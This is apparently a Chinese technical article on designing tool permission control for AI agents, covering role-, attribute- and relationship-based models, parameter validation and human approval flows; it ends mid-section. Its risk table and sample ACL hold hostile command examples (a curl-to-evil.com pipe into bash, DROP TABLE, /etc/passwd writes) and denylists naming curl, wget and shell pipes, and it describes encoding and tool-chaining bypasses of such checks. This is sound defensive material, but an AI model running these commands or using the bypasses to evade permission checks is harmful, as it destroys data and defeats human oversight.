Agent 工具权限控制:如何设计 Tool ACL、审批流与最小权限

30秒结论

  • 解决什么问题:沙箱隔离了 Agent 运行时环境,但沙箱内部的工具仍然可以执行危险操作——删除数据库、修改生产配置、调用收费 API。工具权限控制是沙箱之内的第二道防线。
  • 核心方法:三条支柱——Tool ACL(定义谁能用什么工具)、审批流(高风险操作需要人类确认)、最小权限(Agent 只获得完成任务所必需的工具)。
  • 关键结论:从 RBAC(基于角色的访问控制)起步,生产环境叠加 ABAC(基于属性的访问控制)。不要试图用一个模型解决所有问题——分层组合才是正道。
  • 读完能做什么:为你的 Agent 系统设计一套工具权限模型,从角色定义、工具映射到审批流触发条件。

一、为什么工具权限控制是必须的

想象一个场景:你的团队部署了一个内部运维 Agent,它可以执行 Shell 命令、操作数据库、管理云资源。某个周五下午,一位同事在 Slack 上说——

「Agent,帮我把 test 环境里上周的临时数据清理一下。」

Agent 收到指令,开始工作。30 秒后,生产数据库的 orders 表消失了。

Agent 没有恶意。它只是做了一件在技术层面完全合理的事:收到「清理临时数据」的指令后,搜索了所有可连接的数据源,找到了一个名为 orders_backup_test 的表——它看起来像是测试数据,于是执行了 DROP TABLE。问题是这个表恰好被生产环境的物化视图引用了一部分分区。Agent 不知道,它也不应该知道——它只是在被授予的工具集中,选择了一个技术上可以达到目标的工具。

这个场景不是编造的。2025 年多家 Agent 平台在早期试运行阶段都出现过类似事件:Agent 被赋予了一把「万能钥匙」——对所有工具的全权限访问——然后在缺乏上下文判断的情况下,选择了破坏性最大的那条路径。

沙箱隔离了运行时,但沙箱内部的工具呢?

上一篇关于代码沙箱设计的文章中,我们建立了一个五层边界架构来隔离 Agent 的运行时环境。沙箱确保 Agent 不能访问宿主机文件系统、不能逃逸到外部网络、不能窃取主机凭证。但沙箱解决的是外部威胁——Agent 对主机的威胁。

沙箱不解决内部威胁——Agent 在授权边界内能做什么。一个正确配置的沙箱仍然允许 Agent:

这些都是沙箱允许的行为——因为它们发生在沙箱被授权访问的资源上。问题不在于 Agent 突破了沙箱边界,而在于边界之内没有足够的约束

这就是工具权限控制要解决的问题:如何让 Agent 使用它需要的工具来完成工作,同时阻止它使用不该碰的工具——或者至少在它尝试危险操作时,停下来问一句「你确定吗?」

三条支柱:ACL、审批流、最小权限

工具权限控制不是一个单一机制,而是三个相互配合的策略:

  1. Tool ACL(工具访问控制列表):定义哪个 Agent(或 Agent 角色)可以调用哪个工具。这是一张「能做什么」的白名单。
  2. 审批流(Approval Flow):对于高风险操作(删除、修改生产数据、大额调用),不直接执行,而是暂停并请求人类确认。这是「需要想一想」的安全阀。
  3. 最小权限原则(Least Privilege):Agent 只获得完成当前任务所必需的、最少的一组工具权限。不是「给它所有工具然后指望它自律」,而是「只给它这次需要的,用完收回」。这是「够用就好」的哲学。

三条支柱之间的关系是层叠的:ACL 定义「能做什么」的静态边界;审批流在边界内对高风险操作设置动态卡点;最小权限确保每次任务开始时 Agent 的权限从零开始,按需授予。三者缺一不可。

LLM 不是「意图明确的程序员」

理解工具权限控制的必要性,还需要理解一个根本事实:LLM 在选择工具时没有恶意,但也没有责任意识。它不会像人类工程师那样在执行 DROP TABLE 之前本能地三思。它的决策逻辑是——

「用户要求清理数据 → 有哪些工具可以清理数据?→ delete_recordsdrop_tabletruncate_dbdrop_table 看起来最彻底 → 执行。」

这个逻辑链条完全合理——除了缺少一个关键环节:「这个操作的影响范围是什么?我需要确认吗?」

工具权限控制的本质,就是将这个缺失的环节编码进系统中。不是通过提示词恳求 Agent 三思,而是通过技术强制:如果一个工具不在 ACL 中,Agent 根本不知道它的存在;如果一个操作触发了审批流阈值,Agent 必须等待批准才能继续。

在下一篇关于Agent 工具设计的文章中,我们详细讨论了如何将工具声明为结构化的 function schema。工具权限控制正是建立在这些 schema 之上:每个工具的 schema 不仅描述它做什么,还标记它的风险等级所需权限——这是 ACL 和审批流可以工作的基础。

二、权限模型全景:RBAC、ABAC、ReBAC 在 Agent 场景的对比

有了「为什么需要」的认知之后,我们需要一个框架来回答「怎么设计」。学术界和工业界在通用访问控制领域有三套成熟的权限模型。它们各自在 Agent 工具控制的场景下有不同的表现。

RBAC:基于角色的访问控制

RBAC(Role-Based Access Control)是最直观的模型。你定义一组角色,每个角色映射到一组工具权限。Agent 被分配一个角色,从而获得该角色对应的所有工具。

在 Agent 场景中,一个典型 RBAC 配置可能是:

角色可调用工具典型任务
code-agentread_file, write_file, execute_command, search_code代码生成、重构、Bug 修复
data-analystquery_db, export_csv, generate_chart数据查询、报表生成
devops-agentdeploy_service, restart_container, check_logs, scale_replicas部署、运维、故障排查
admin所有工具(包括 drop_table, delete_backup, modify_iam需要完整权限的管理操作

RBAC 的优势:

RBAC 的局限:

ABAC:基于属性的访问控制

ABAC(Attribute-Based Access Control)将决策从「你是谁」(角色)升级为「在什么条件下」(属性)。不再问「这个 Agent 是 code-agent 吗?」,而是问:「当前用户是谁?会话是否已认证?现在是什么时间?这个任务属于哪个项目?这个工具之前被调用过多少次?」

ABAC 的核心是一个策略引擎,它评估一组属性并返回 allow / deny / ask_for_approval。在 Agent 工具控制场景中,典型的属性维度包括:

属性类别示例属性典型规则
主体属性用户身份、用户角色、认证方式、信任等级「仅当用户通过 MFA 认证时,Agent 可执行部署操作」
会话属性会话 ID、会话开始时间、任务来源(Slack/API/Web)「通过 Slack 发起的会话不允许执行 DROP 操作」
环境属性当前时间、日期、目标环境(staging/production)「生产环境的写操作仅限工作时间(9:00-18:00)」
资源属性目标数据库名、表名、文件路径、API 端点「以 prod_ 为前缀的数据库表不允许直接删除」
行为属性工具调用频率、同类操作累计次数、历史审批通过率「同一 Agent 在 5 分钟内调用 send_email 超过 10 次 → 触发审批」

ABAC 的优势:

ABAC 的局限:

ReBAC:基于关系的访问控制

ReBAC(Relationship-Based Access Control)将权限建立在 Agent 与资源之间的关系上。它不关心 Agent 的角色或属性,只关心一个核心问题:这个 Agent 和这个资源之间是否有足够的关系来证明这个操作是合理的?

在 Agent 场景中,ReBAC 最典型的应用场景是所有权检查:Agent 只能修改它自己创建的文件、只能查询它自己启动的任务、只能关闭它自己打开的连接。

Google Zanzibar 是 ReBAC 的最著名实现,Google Drive、YouTube、Google Photos 都使用它来管理数十亿级别的权限关系。一个简化版的 Agent-ReBAC 关系图可能是:

# Agent-资源关系定义(类 Zanzibar 语法)
definition agent_session:
  relation owner: user
  relation parent: task
  permission read = owner + parent->read
  permission write = owner
  permission delete = owner

definition task:
  relation creator: agent_session
  relation project: project
  permission read = creator + project->member
  permission execute = creator + project->admin
  permission cancel = creator + project->admin

definition project:
  relation admin: user
  relation member: user
  permission read = admin + member
  permission deploy = admin

ReBAC 的优势:

ReBAC 的局限:

三模型对比

下表从 Agent 工具控制的六个维度对比 RBAC、ABAC 和 ReBAC:

维度RBACABACReBAC
核心机制角色 → 工具集合映射属性条件 → 策略评估Agent-资源关系图
粒度角色级别(粗粒度)属性级别(细粒度,可达单次调用)关系级别(中细粒度)
上下文感知无(静态)强(时间、来源、环境等)中等(资源所有权、协作关系)
实现复杂度低(if-else 即可)中高(需要策略引擎)高(需要关系图 + 权限展开)
调试/审计难度低(角色-工具映射一目了然)中高(需回溯策略评估链)中(需追踪关系链)
适用 Agent 场景功能边界清晰的 Agent(代码、数据分析、运维)需要时间/环境/来源感知的生产 Agent多 Agent 协作、资源所有权敏感的场景
典型拒绝原因「你的角色无权使用此工具」「当前条件不满足:非工作时间 + 生产环境」「你不拥有此资源,且无协作关系」

实战建议:从 RBAC 起步,叠加 ABAC

三种模型不是互斥的——它们是互补的。在生产环境中,你不应该试图用一个模型解决所有问题。推荐的路径是:

  1. 第一层:RBAC 打底。为每个 Agent 分配角色,定义角色的基础工具集。这是「静态安全基线」——Agent 永远无法触及角色范围之外的工具。实现方式很简单:工具注册时声明所属角色,框架在工具分发前过滤。
  2. 第二层:ABAC 叠加。在第一层之上,对角色内的工具进一步施加动态约束。例如:code-agent 角色可以调用 execute_command 工具,但 ABAC 策略规定——如果命令中包含 rm -rfDROPDELETE 等危险关键字,或者目标路径匹配 /production/*,则需要触发审批流。
  3. 第三层(可选):ReBAC 补充。如果你的场景涉及多 Agent 协作或者对资源所有权有明确要求,可以引入 ReBAC 来处理关系敏感的权限决策。

这种分层架构的好处是渐进式的:你不需要第一天就构建一个完整的 ABAC 策略引擎 + ReBAC 关系图。你可以从 RBAC 开始,当业务需求出现时(例如「需要限制生产环境的夜间部署」),再叠加 ABAC 策略来覆盖这些场景。

更重要的是与审批流的衔接:无论使用哪种权限模型,当权限检查返回一个中间状态——「不确定,需要人类审查」——系统应该触发审批流。审批流的设计将在后续章节详细展开,但核心原则是:任何权限模型都不是 100% 准确的。为「灰色地带」预留人工确认通道,是工具权限控制的最后一道安全网。

系列连接

📖 下一篇预告:Agent 工具权限控制——审批流设计与风险驱动的升级策略

三、设计 Tool ACL

在上一篇关于 Agent 工具设计的文章中,我们定义了工具的接口——每个工具有名称、参数 schema、描述和风险等级。工具接口定义的是「工具能做什么」——它的功能边界。Tool ACL 定义的是「谁(或什么 Agent)能调用这个工具」——它的访问边界。两者是正交的:同一个工具可以有多个使用者,同一个使用者可以访问多个工具,但每个使用者的工具集被 ACL 严格限定。

什么是 Tool ACL

Tool ACL(工具访问控制列表)是一个四元组:{主体, 动作, 客体, 条件}——借用经典访问控制理论中的 subject-action-object framework。

ACL 结构示例

一个典型的 Tool ACL 配置可以表达为 JSON 结构。以下是一个 code_reviewer 角色的 ACL 定义:

{
  "agent_role": "code_reviewer",
  "allow": [
    {"tool": "file_read", "params": {"path": "/workspace/**"}},
    {"tool": "git_diff", "params": {}}
  ],
  "deny": [
    {"tool": "file_delete", "params": {}}
  ]
}

这个配置的含义是:

默认拒绝原则(Default-Deny)

在安全设计中,有一个根本性的选择:默认允许还是默认拒绝?

默认允许意味着:除非 ACL 中明确禁止,否则 Agent 可以调用任何已注册的工具。这种模式看似方便——你不需要为每个无害的工具编写 ACL 条目——但它本质上是在赌「Agent 不会滥用那些你没想到的工具」。在一个拥有 file_deletedrop_tablesend_email 等工具的真实系统中,这场赌局的代价高得不合理。

默认拒绝(Default-Deny)意味着:Agent 不能调用任何工具,除非 ACL 中明确允许。这是安全工程的金科玉律之一。每次你给 Agent 添加一个新工具,你都必须显式地决定哪些角色或 Agent 可以使用它。这个决策成本是一种安全张力——它迫使你在引入每一个工具时思考它的暴露面。

在实现层面,Default-Deny 也非常简单:ACL 检查逻辑以一个 DENY 作为 fallthrough 默认返回值。只有在 allow 列表中匹配到对应条目、且不触碰 deny 列表时,才返回 ALLOW

工具风险分级

不是所有工具的风险等级相同。在应用到 ACL 之前,我们首先需要对工具进行风险分级——这与上篇工具设计文章中提到的 risk_level 字段直接对应:

风险等级典型工具默认 ACL 策略审批要求
read-only(只读)file_read, search_code, query_db, check_logs默认允许给所有角色(可覆盖)不需要审批
read-write(读写)file_write, git_commit, export_csv, update_record按角色显式授予写操作通常不需要审批,但目标为生产资源时例外
admin(管理)deploy_service, restart_container, scale_replicas, modify_config仅限 admin/senior-devops需要人类审批(生产环境强制,非生产可选)
dangerous(危险)file_delete, drop_table, truncate_db, delete_backup, modify_iam, execute_raw_sql默认拒绝所有角色;需逐条显式批准强制审批,且需双重确认(two-person rule)

这四个风险等级构成了 ACL 策略的第一层筛选。在配置 ACL 时,你不需要为每个工具单独决策——风险等级提供了默认策略,你只需要处理例外情况。

ACL 粒度:从工具级别到资源级别

Tool ACL 的粒度并非一层不变。根据组织的安全需求,ACL 可以在三个粒度级别上运作:

第一层:工具级别(Tool-Level)——最简单的形式。ACL 只关心「Agent 能不能调用这个工具」。例如:「data-analyst 可以使用 query_db」。这是大多数系统起步的地方,实施成本极低。

第二层:参数级别(Parameter-Level)——在工具级别的基础上,ACL 进一步约束工具的参数值。例如:「data-analyst 可以使用 query_db,但 query 参数中不能包含 DROPDELETETRUNCATE 关键字」。这是 ABAC 开始发挥作用的地方——参数审查不是在角色注册时完成的,而是在每次调用时由策略引擎动态评估。

第三层:资源级别(Resource-Level)——最细粒度。ACL 约束操作的目标资源。例如:「code-agent 可以使用 file_write,但只能写入 /workspace/{agent_id}/ 目录」。或者「devops-agent 可以使用 deploy_service,但只能部署标签为 env:staging 的服务」。这是 ReBAC 自然地发挥作用的层面——权限与资源关系绑定。

三层的递进关系是:工具级别 → 参数级别 → 资源级别。每一个后续层级都是前一层级的精炼。在实践中,大多数团队从工具级别开始,在有明确的业务需求时逐步下钻到更细粒度。

与 Agent 工具设计的衔接

Tool ACL 不是在真空中设计的。它和Agent 工具设计是配套的两面:

一个完整的工具注册过程因此包含两个步骤:

  1. 声明工具:定义工具的 namedescriptionparametersrisk_level。这一步回答:「这个工具是做什么的?」
  2. 绑定 ACL:在 ACL 配置中将工具映射到角色,添加参数和资源约束。这一步回答:「谁可以用它?怎么用?」

工具设计得再好,如果没有配套的 ACL,就像一个设计精良的 API 没有认证机制——所有人都可以调用任何端点。反之,ACL 定义得再严密,如果工具本身缺乏风险等级标记和结构化的 schema,ACL 就无法执行参数级别和资源级别的细粒度控制。

在下一篇关于审批流设计的文章中,我们将看到 ACL 的决策结果如何与审批流对接——当 ACL 返回 ALLOW 时工具直接执行,返回 DENY 时阻止调用,返回 ASK_APPROVAL 时触发人工审批流程。

四、参数级访问控制

在第三节中,我们区分了 ACL 的三个粒度级别:工具级别、参数级别和资源级别。工具级别是最粗的颗粒——它只回答「Agent 能不能调用这个工具」。但很多安全需求不能靠这个二元开关解决。

考虑一个真实场景:你的 code-agent 需要调用 file_write 来保存生成的代码文件。工具级别 ACL 只允许你说「code-agent 可以使用 file_write」——这意味着它可以写入任何路径,包括 /etc/nginx/nginx.conf/home/user/.ssh/authorized_keys。你真正想说的是:「code-agent 可以使用 file_write,但只能写入 /workspace/ 目录,绝对不能碰 /etc//home/」。

这就是参数级访问控制要解决的问题:在允许的工具内部,对参数的取值施加约束。它不是取代工具级别 ACL,而是在它的基础上增加一层更细粒度的限制。

超越工具级别:为什么参数约束是必须的

工具级别的 ACL 存在一个根本性局限:它将一个工具视为一个不可分割的权限单元。但大多数工具是参数化的——同一个工具,不同的参数取值,风险差异巨大。以下是一些典型例子:

工具低风险参数高风险参数风险差距
file_writepath=/workspace/output.pypath=/etc/passwdAgent 可以覆写系统关键文件
http_requesturl=https://api.internal.company.com/dataurl=https://raw.githubusercontent.com/evil/malware.shAgent 可能下载并执行恶意脚本
shell_execcmd=ls -la /workspace/cmd=rm -rf /workspace/; curl evil.com/backdoor | bash命令注入 + 反向 Shell
query_dbsql=SELECT * FROM users LIMIT 10sql=DROP TABLE users; --数据破坏(可能是无意中从 LLM 生成的)

如果你只依赖工具级别 ACL,那么一旦 shell_exec 被授予某个 Agent,这个 Agent 就可以执行任何 Shell 命令。这不是权限管理——这是在赌博。参数级控制让你可以精确地划定工具的能力边界,而不是一刀切地开关整个工具。

参数验证管道:pre-execution hooks

参数级访问控制的实现核心是一个参数验证管道(Parameter Validation Pipeline)——在工具实际执行之前,一组 hooks 依次检查调用参数,任何一个 hook 拒绝就阻止执行。管道的工作流如下:

# 参数验证管道流程
Agent 发起工具调用
  │
  ▼
┌─────────────────────────┐
│ 1. 提取参数             │  从 tool_call 中提取实际参数值
│    path="/etc/passwd"   │
└───────────┬─────────────┘
            ▼
┌─────────────────────────┐
│ 2. 类型与格式校验       │  参数是否与 schema 类型匹配?
│    path 是 string ✓     │
└───────────┬─────────────┘
            ▼
┌─────────────────────────┐
│ 3. allowlist 检查       │  参数值是否在允许列表中?
│    path ∈ /workspace/** │  → /etc/passwd 不匹配 → 进入下一步
│    不匹配 ✗             │
└───────────┬─────────────┘
            ▼
┌─────────────────────────┐
│ 4. denylist 检查        │  参数值是否在禁止列表中?
│    path ∈ /etc/**       │  → /etc/passwd 匹配 → DENY
│    匹配 ✓ → DENY        │
└───────────┬─────────────┘
            ▼
┌─────────────────────────┐
│ 5. 正则/自定义校验      │  如果配置了额外的检查规则
│    (如 sql 关键字扫描) │
└───────────┬─────────────┘
            ▼
       ALLOW / DENY / ASK_APPROVAL

关键设计原则:allowlist 先于 denylist 评估。如果一个参数值既不在 allowlist 中也不在 denylist 中,default-deny 原则要求拒绝。allowlist 定义的是「允许的领域」,denylist 在这个领域内进一步剔除危险区域。

匹配模式:regex、allowlist、denylist

参数约束的匹配模式有三种核心形式:

1. Glob 模式匹配(路径类参数)——最适合文件路径和目录约束。Glob 语法简洁,人类可读,覆盖了绝大多数路径控制需求:

2. 正则表达式(通用参数)——最适合 URL、命令、SQL 等结构化字符串参数的约束:

3. 值枚举(离散值参数)——最适合环境选择、操作类型等有限取值的参数:

在实际配置中,这三种模式通常组合使用。以下是一个完整的参数级 ACL 配置示例,作为工具级别 ACL 的扩展:

{
  "agent_role": "code_agent",
  "allow": [
    {
      "tool": "file_write",
      "params": {
        "path": {
          "allowlist": ["/workspace/**", "/tmp/agent-*"],
          "denylist": ["/workspace/.git/**", "/workspace/.env*"]
        }
      }
    },
    {
      "tool": "http_request",
      "params": {
        "url": {
          "allowlist_regex": [
            "^https://api\\.internal\\.company\\.com/.*$",
            "^https://registry\\.npmjs\\.org/.*$",
            "^https://pypi\\.org/.*$"
          ],
          "denylist_regex": [
            ".*://raw\\.githubusercontent\\.com/.*\\.sh$"
          ]
        }
      }
    },
    {
      "tool": "shell_exec",
      "params": {
        "cmd": {
          "denylist_keywords": ["rm -rf", "DROP", "DELETE", "TRUNCATE", "curl", "wget", "eval"],
          "denylist_regex": [".*\\|\\s*(ba)?sh$", ".*>\\s*/dev/.*"]
        },
        "cwd": {
          "allowlist": ["/workspace/**"]
        }
      }
    },
    {
      "tool": "database_query",
      "params": {
        "sql": {
          "allowlist_regex": ["^(SELECT|SHOW|DESCRIBE|EXPLAIN)\\s.*"],
          "denylist_keywords": ["DROP", "DELETE", "TRUNCATE", "ALTER", "GRANT", "REVOKE"]
        },
        "database": {
          "allowlist": ["analytics", "reports", "staging_*"],
          "denylist": ["production", "prod_*", "financials"]
        }
      }
    }
  ],
  "deny": [
    {"tool": "file_delete", "reason": "code_agent 角色不具备任何删除权限"}
  ]
}

这个配置中的每一条参数约束都直接对应一个真实的安全威胁场景。例如 http_request 的 denylist_regex 阻止了 Agent 从 raw.githubusercontent.com 下载 shell 脚本——这是一种常见的攻击向量,恶意代码通过 GitHub 的原始文件端点分发。再如 shell_exec 的 denylist_keywords 阻止了命令注入和反向 Shell 管道。

参数级控制的实施架构

参数验证管道应该如何嵌入 Agent 框架的调用链路中?推荐的架构是将验证逻辑放在框架的工具调度层——在 Agent 选择工具、框架准备执行之前。这个位置的选择有几个原因:

  1. 对 Agent 透明。Agent 不知道自己调用的参数被检查了。如果检查通过,工具正常执行;如果被拒绝,Agent 收到一个结构化的错误(如 PermissionDenied: path '/etc/passwd' not in allowlist),而不是原始的工具返回值。Agent 可以基于这个错误调整自己的行为——比如请求用户提供另一个路径。
  2. 与 ACL 检查在同一层。工具级别 ACL 和参数级别验证应该在同一个决策点完成,避免分散的检查逻辑导致绕过。一个统一的 PermissionEvaluator 组件同时处理工具级和参数级的权限决策。
  3. 不可绕过。如果验证逻辑放在工具实现内部,每个工具的作者都需要记得实现它——这不可靠。放在框架调度层意味着无论工具如何实现,参数验证都会被强制执行。

以下是一个参数验证管道的简化实现示例(Python 伪代码):

import re
import fnmatch
from typing import Any, Dict, List

class ParamValidator:
    """参数级访问控制验证器"""

    def __init__(self, param_rules: Dict[str, Any]):
        self.rules = param_rules  # 来自 ACL 配置的 params 部分

    def validate(self, tool_name: str, params: Dict[str, Any]) -> bool:
        """验证工具调用的参数是否符合约束。返回 True 表示通过。"""
        tool_rules = self.rules.get(tool_name, {})
        if not tool_rules:
            return True  # 无参数约束 → 通过

        for param_name, constraints in tool_rules.items():
            value = params.get(param_name)
            if value is None:
                continue  # 可选参数未提供,跳过

            if not self._check_allowlist(value, constraints):
                return False
            if not self._check_denylist(value, constraints):
                return False
            if not self._check_regex(value, constraints):
                return False

        return True

    def _check_allowlist(self, value: str, constraints: dict) -> bool:
        allowlist = constraints.get("allowlist", [])
        if not allowlist:
            return True  # 无 allowlist → 通过此检查
        for pattern in allowlist:
            if fnmatch.fnmatch(value, pattern):
                return True  # 匹配 → 通过
        return False  # 不匹配任何 allowlist → 拒绝

    def _check_denylist(self, value: str, constraints: dict) -> bool:
        denylist = constraints.get("denylist", [])
        for pattern in denylist:
            if fnmatch.fnmatch(value, pattern):
                return False  # 匹配 denylist → 拒绝
        # 关键字检查
        for keyword in constraints.get("denylist_keywords", []):
            if keyword.lower() in value.lower():
                return False  # 包含危险关键字 → 拒绝
        return True

    def _check_regex(self, value: str, constraints: dict) -> bool:
        for pattern in constraints.get("allowlist_regex", []):
            if not re.match(pattern, value):
                return False  # 不匹配允许的正则 → 拒绝
        for pattern in constraints.get("denylist_regex", []):
            if re.search(pattern, value):
                return False  # 匹配禁止的正则 → 拒绝
        return True


# 集成到工具的 pre-execution hook
class ToolExecutor:
    def __init__(self, acl_config: dict):
        self.validator = ParamValidator(acl_config)

    def execute(self, agent_role: str, tool_name: str, params: dict):
        # 第一步:工具级别 ACL 检查
        if not self._tool_level_check(agent_role, tool_name):
            raise PermissionError(f"角色 {agent_role} 无权调用 {tool_name}")

        # 第二步:参数级别验证
        if not self.validator.validate(tool_name, params):
            raise PermissionError(
                f"参数验证失败:{tool_name} 的调用参数不符合 ACL 约束"
            )

        # 第三步:执行工具
        return self._dispatch(tool_name, params)

参数级控制的陷阱与最佳实践

参数级访问控制虽然强大,但有几个容易踩的坑:

1. 不要只依赖 denylist。Denylist(黑名单)是一个被反复证明不可靠的安全策略。攻击者总是能找到变体——你禁止了 rm -rf,他们会用 rm -r -ffind . -delete。你禁止了 curl,他们会用 wgetpython -c "import urllib.request"。参数级 ACL 必须同时使用 allowlist(白名单)来定义允许的正面空间。Denylist 只是在这个空间内过滤掉已知的高风险模式。

2. 考虑编码绕过。LLM 输出的参数值可能经过编码处理。例如,Agent 可能输出 path=/etc/p\x61sswd(十六进制编码)或 url=https://api.internal.company.com%40evil.com(URL 编码混淆)。参数验证器应该在解码后的值上执行检查,而不是原始字符串。

3. 警惕 LLM 的「创造性绕过」。LLM 在面临约束时可能表现出意想不到的「创造性」。如果你的 ACL 禁止 file_write 写入 /etc/,Agent 可能先写入 /tmp/evil.conf,再调用 shell_exec 执行 mv /tmp/evil.conf /etc/nginx/nginx.conf。这被称为工具链绕过(tool-chaining bypass)——单个工具调用都符合 ACL,但组合起来实现了被禁止的目标。对抗这种攻击需要跨调用的上下文分析(后续文章将讨论),参数级控制只是第一道防线。

4. 错误消息不要泄露过多信息。当参数验证失败时,返回给 Agent 的错误消息应该足够具体以便 Agent 纠正行为(如「路径不在允许范围内」),但不应泄露 ACL 的具体规则(如「允许的路径模式为 /workspace/**」——这等于告诉潜在攻击者边界在哪里)。在生产环境中,考虑使用通用错误消息 + 仅对可信会话开放详细诊断。

参数级控制与 ABAC 的关系

参数级访问控制是 ABAC 在 Agent 工具场景中最直接的应用形式。回顾第二节中 ABAC 的五类属性——主体、会话、环境、资源、行为——参数级控制主要作用于资源属性行为属性

但参数级控制可以进一步与其余属性结合。例如,同一个 file_write 工具,参数约束可以根据环境属性动态调整——工作时间允许写入更广泛的路径,非工作时间进一步收紧。这种动态策略正是 ABAC 策略引擎的核心价值。

从实施路径来看,参数级 ACL 配置是实现「从 RBAC 起步,叠加 ABAC」的关键桥梁。当你发现工具级别 ACL 不够精细时,不需要立即引入完整的 ABAC 策略引擎——你只需要在现有 ACL 配置中添加 params 约束块。当这些静态约束仍然不够(例如需要「工作时间 vs 非工作时间」的动态决策),再引入 ABAC 策略引擎来处理属性条件。

五、审批流设计(Human-in-the-Loop)

在前面的章节中,我们讨论了用 ACL 定义「Agent 能做什么」,用参数级控制约束「Agent 怎么做」。这些机制的核心思路是自动判定——系统根据预定义的规则,自主决定允许还是拒绝一次工具调用。

但自动判定有一个不可能跨越的边界:有些决策不能也不应该由机器单独做出。当一个操作可能造成不可逆的后果——删除生产数据、修改 IAM 权限、向数千名用户发送邮件——你需要一个人来看一眼,点一下「批准」或「拒绝」。

这就是审批流(Approval Flow)的用武之地。它是工具权限控制体系中的最后一道安全网——当 ACL 和参数验证都无法给出明确的 allow/deny 时,审批流将决策权交还给人类。

什么时候需要审批

审批不是越多越好。如果你对每一次 file_read 都要求审批,Agent 的使用体验将降至零——没有人愿意坐在屏幕前不断点击「批准」按钮。审批的价值在于精准地识别那些机器无法自行判断的高风险操作

以下是必须触发审批的三个场景

1. 破坏性操作(Destructive Operations)

任何会导致数据不可逆丢失或系统不可逆变更的操作,都必须经过人工确认。这包括但不限于:

破坏性操作有一个共同的判定标准:操作完成后,无法通过「撤销」恢复到操作前的状态。如果 Agent 创建了一个文件,你可以删除它——这是可逆的。如果 Agent 删除了一个没有备份的文件——这是不可逆的。审批流的核心目标就是在不可逆操作执行之前插入一道人工关卡。

2. 外部 API 调用(External API Calls)

当 Agent 的工具调用涉及外部系统——特别是会产生副作用费用的调用——审批可以提供一层额外的保护:

外部 API 调用的风险在于:Agent 可能低估了调用的影响范围。它把「发送一封邮件」看作一个简单的 API 调用,但那个 API 的收件人列表里可能有 10,000 个客户。审批流在调用执行之前展示收件人数量、预估费用、影响范围,让人来做最终判断。

3. 敏感数据访问(Sensitive Data Access)

某些数据即使只是读取,也应该触发审批——不是因为读操作本身有破坏性,而是因为数据的敏感性要求访问必须有记录和授权:

这些场景下,审批的目的不是防止破坏,而是建立审计追踪——谁、在什么时间、因为什么任务、访问了什么敏感数据。在很多合规框架(SOC 2、ISO 27001、HIPAA)中,敏感数据的每次访问都需要可审计的记录。审批流天然地产生这种记录。

审批架构:Agent 提议 → 系统评估风险 → 人工审批/拒绝

审批流不是简单的「弹个对话框问用户」。一个设计良好的审批架构包含三个阶段,每个阶段都有明确的责任边界:

┌─────────────────────────────────────────────────────┐
│                   审批流三阶段架构                      │
├─────────────────────────────────────────────────────┤
│                                                       │
│  阶段 1: Agent 提议                                    │
│  ┌─────────────────────────────────────────────┐     │
│  │ Agent 决定调用工具,生成完整的调用计划         │     │
│  │ 包括:工具名、参数、调用理由(为什么需要)     │     │
│  └──────────────────┬──────────────────────────┘     │
│                     ▼                                  │
│  阶段 2: 系统评估风险                                  │
│  ┌─────────────────────────────────────────────┐     │
│  │ 策略引擎评估:                                  │     │
│  │  · 工具的 risk_level 是什么?                  │     │
│  │  · 参数是否匹配高风险模式?                     │     │
│  │  · 当前上下文(时间、用户、环境)              │     │
│  │  · 历史行为(该 Agent 最近是否频繁触发审批?)  │     │
│  │                                                │     │
│  │ 评估结果:auto-approve / notify /               │     │
│  │           require-approval / block              │     │
│  └──────────────────┬──────────────────────────┘     │
│                     ▼                                  │
│  阶段 3: 人工审批/拒绝                                 │
│  ┌─────────────────────────────────────────────┐     │
│  │ 审批界面展示:                                  │     │
│  │  · Agent 想要做什么(自然语言描述)             │     │
│  │  · 具体参数(工具名、参数值)                   │     │
│  │  · 风险评估结果和理由                          │     │
│  │  · 潜在影响范围(受影响的行数/用户数/费用)     │     │
│  │                                                │     │
│  │ 审批人选择:[批准] [拒绝] [修改参数后批准]      │     │
│  └─────────────────────────────────────────────┘     │
│                                                       │
└─────────────────────────────────────────────────────┘

这个三阶段架构的关键设计决策是阶段分离:Agent 负责「我想做什么」,系统负责「这有多危险」,人负责「可以还是不可以」。Agent 不参与风险评估(避免它低估风险),系统不参与最终决策(避免它越权代替人类),人不参与提议(不需要手动构造工具调用)。

审批分级:四级风险响应

不是所有需要关注的操作都应该阻塞 Agent 的执行。审批应该根据风险等级分层响应——低风险的操作自动通过,中风险的通知但不阻塞,高风险的需要确认,极端危险的操作直接禁止。以下是四级审批分级体系:

审批等级触发条件系统行为Agent 体验典型场景
auto-approve
(自动批准)
工具 risk_level = read-only;参数在 allowlist 范围内;工作时间;非敏感资源 直接执行,不通知任何人 无感知,调用即时完成 file_read /workspace/search_codequery_db(只读查询)
notify-only
(通知但不阻塞)
工具 risk_level = read-write 但目标为非生产环境;发送邮件但收件人 ≤ 5;非工作时间但非破坏性操作 立即执行,同时向指定频道(Slack/钉钉/企业微信)发送通知 无阻塞,但操作被记录并通知 向测试环境部署、修改 staging 配置、发送内部测试邮件
require-approval
(需要审批)
工具 risk_level ≥ admin;目标为生产环境;费用预估超过阈值;敏感数据访问;非工作时间 + 高风险操作 暂停 Agent 执行,向审批人发送审批请求(含上下文),等待批准/拒绝 执行被中断,收到「等待审批中」状态;审批通过后自动恢复;被拒绝后收到原因并调整策略 生产环境部署、删除数据库表、发送群发邮件、修改 IAM 权限
block
(禁止)
工具在 ACL deny 列表中;参数匹配硬编码的危险模式;尝试访问明确禁止的资源(如 /etc/shadow 直接拒绝,不提供审批选项;记录安全事件日志;可选择性地触发告警 收到明确拒绝错误,操作无法继续;需重新规划或请求用户介入 rm -rf /DROP TABLE users(生产库)、从外部 URL 下载并执行脚本

为什么需要 notify-only 这个中间级别?

auto-approverequire-approval 之间插入 notify-only 是基于运维实践的考虑。大量操作处于一个灰色地带——它们不是完全无害的(值得记录),但阻塞它们会严重影响 Agent 的工作效率。

例如,Agent 向 staging 环境部署一次——你希望知道这件事发生了(通知),但你不希望每次部署都要有人在旁边等着点「批准」。如果 staging 部署出了问题,你可以根据通知追溯到是 Agent 在什么时间、以什么参数执行了部署。如果一切正常,通知就是一条安静的日志。

notify-only 的另一个价值是「安全观察期」——当你第一次为一个 Agent 角色配置工具权限时,你可以将某些操作设置为 notify-only,观察 Agent 在真实任务中如何使用这些工具。如果 Agent 的使用模式是合理的,后续可以降级为 auto-approve;如果 Agent 表现出意外的行为模式,则升级为 require-approval

超时和升级机制

